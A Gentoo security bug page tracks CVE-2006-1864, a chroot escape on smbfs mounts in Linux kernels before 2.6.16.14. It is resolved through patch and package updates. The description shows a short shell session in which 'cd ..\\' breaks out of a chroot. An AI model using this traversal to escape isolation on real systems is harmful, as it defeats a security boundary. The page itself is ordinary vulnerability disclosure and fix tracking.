Gentoo Websites Logo
Go to: Gentoo Home Documentation Forums Lists Bugs Planet Store Wiki Get Gentoo!
Bug 131632 - Kernel smbfs chroot issue (CVE-2006-1864)
Summary: Kernel smbfs chroot issue (CVE-2006-1864)
Status: RESOLVED FIXED
Alias: None
Product: Gentoo Security
Classification: Unclassified
Component: Kernel (show other bugs)
Hardware: All Linux
: High normal
Assignee: Gentoo Security
URL: https://bugzilla.redhat.com/bugzilla/...
Whiteboard: [linux <2.6.16.14]
Keywords:
Depends on:
Blocks:
 
Reported: 2006-04-28 22:00 UTC by Sune Kloppenborg Jeppesen (RETIRED)
Modified: 2009-07-29 20:30 UTC (History)
2 users (show)

See Also:
Package list:
Runtime testing required: ---

Attachments
Add an attachment (proposed patch, testcase, etc.)

Note You need to log in before you can comment on or make changes to this bug.
Description Sune Kloppenborg Jeppesen (RETIRED) gentoo-dev 2006-04-28 22:00:13 UTC 
When doing a chroot inside of a smb-mounted filesystem (smbfs), it appears that
you can break out of it using "cd ..\\" (2 backslashes).

[root@server me]# pwd
/path/to/my/dir
[root@server me]# ls
bin  chroot  etc  lib
[root@server me]# chroot .
bash-2.05a# pwd
/
bash-2.05a# ls
bin  chroot  etc  lib
bash-2.05a# cd ..\\
bash-2.05a# pwd
/..\
bash-2.05a# ls
<list of files from parent>
Comment 1 Sune Kloppenborg Jeppesen (RETIRED) gentoo-dev 2006-05-05 04:08:21 UTC 
This is fixed in 2.6.16.14
Comment 2 Tim Yamin (RETIRED) gentoo-dev 2006-05-18 13:31:19 UTC 
Fixed in genpatches 2.6.16-9. Maintainers please bump:

hardened-sources: johnm, hardened
sh-sources: vapier (this is your bump reminder :P)
suspend2-sources: brix
xbox,xen-sources: chrb
Comment 3 Henrik Brix Andersen 2006-05-18 14:20:40 UTC 
Fixed in sys-kernel/suspend2-sources-2.6.16-r6.
Comment 4 Tim Yamin (RETIRED) gentoo-dev 2006-06-24 11:43:33 UTC 
All fixed, closing bug. vapier: *poke* re: sh-sources.